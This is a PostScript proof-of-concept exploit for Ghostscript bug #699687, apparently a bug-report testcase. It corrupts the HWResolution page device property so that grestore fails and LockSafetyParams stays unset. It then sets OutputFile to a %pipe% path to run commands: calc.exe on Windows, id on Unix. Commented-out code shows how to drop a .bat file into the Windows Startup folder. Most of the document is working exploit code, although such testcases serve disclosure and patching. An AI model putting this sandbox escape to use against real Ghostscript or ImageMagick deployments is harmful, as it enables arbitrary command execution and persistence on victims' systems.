GhostScript Testcase

testcase.ps

%!PS
% This is ghostscript bug #699687 (split out from bug #699654)

% ImageMagick define setpagedevice, just remove their definition. This doesn't
% do anything if not using ImageMagick.
userdict /setpagedevice undef

% function to check if we're on Linux or Windows
/iswindows {
    % Just checking if paths contain drive
    null (w) .tempfile closefile 1 get 16#3A eq
} def

% just select a papersize to initialize page device
a0

% The bug is that if you can make grestore or restore fail non-fatally,
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
% properties in your pagedevice, like a nonsense resolution.
%
% Normally it would be something like [72.0 72.0], but you can't just def
% HWResolution to something else (for example), because it's readonly:
%
% GS>currentpagedevice wcheck ==
% false
%
% But you can just put or astore into it, because the array itself is writable:
% GS>currentpagedevice /HWResolution get wcheck ==
% true
%
% Lets just put some junk in there.
currentpagedevice /HWResolution get 0 (foobar) put

% This grestore will fail, stopped just catches the error instead of aborting.
{ grestore } stopped pop

% Now LockSafetyParams will be incorrectly unset, you can check like this:
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
% false

% We can change and configure devices now, so make sure we're using one with
% a OutputFile property.
(ppmraw) selectdevice

% Check if we're on Windows or UNIX
iswindows {
    % This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
    %
    % The graphical version doesn't seem to support %pipe%, but you can create
    % arbitrary files. If something is using the api (gs32dll.dll), it may or
    % may not support %pipe%.

    /getstartupdirwindows {
        % This figures out startup location from %TEMP% (Tested on Win10)
        (C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
        dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
    } def

    % (directory) (extension) randfile (result)
    /randfile {
        % pick a random filename
        exch rand 32 string cvs concatstrings exch concatstrings
    } def

    mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops

    % if you need to create files, use txtwrite like this:

    %mark /OutputFile getstartupdirwindows (.bat) randfile
    %   { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
    %0 0 moveto
    %(REM This is an exploit demo\n) show
    %(calc.exe\n) show
} {
    % This is UNIX, just run a shell command
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops
} ifelse

{ showpage } stopped pop

quit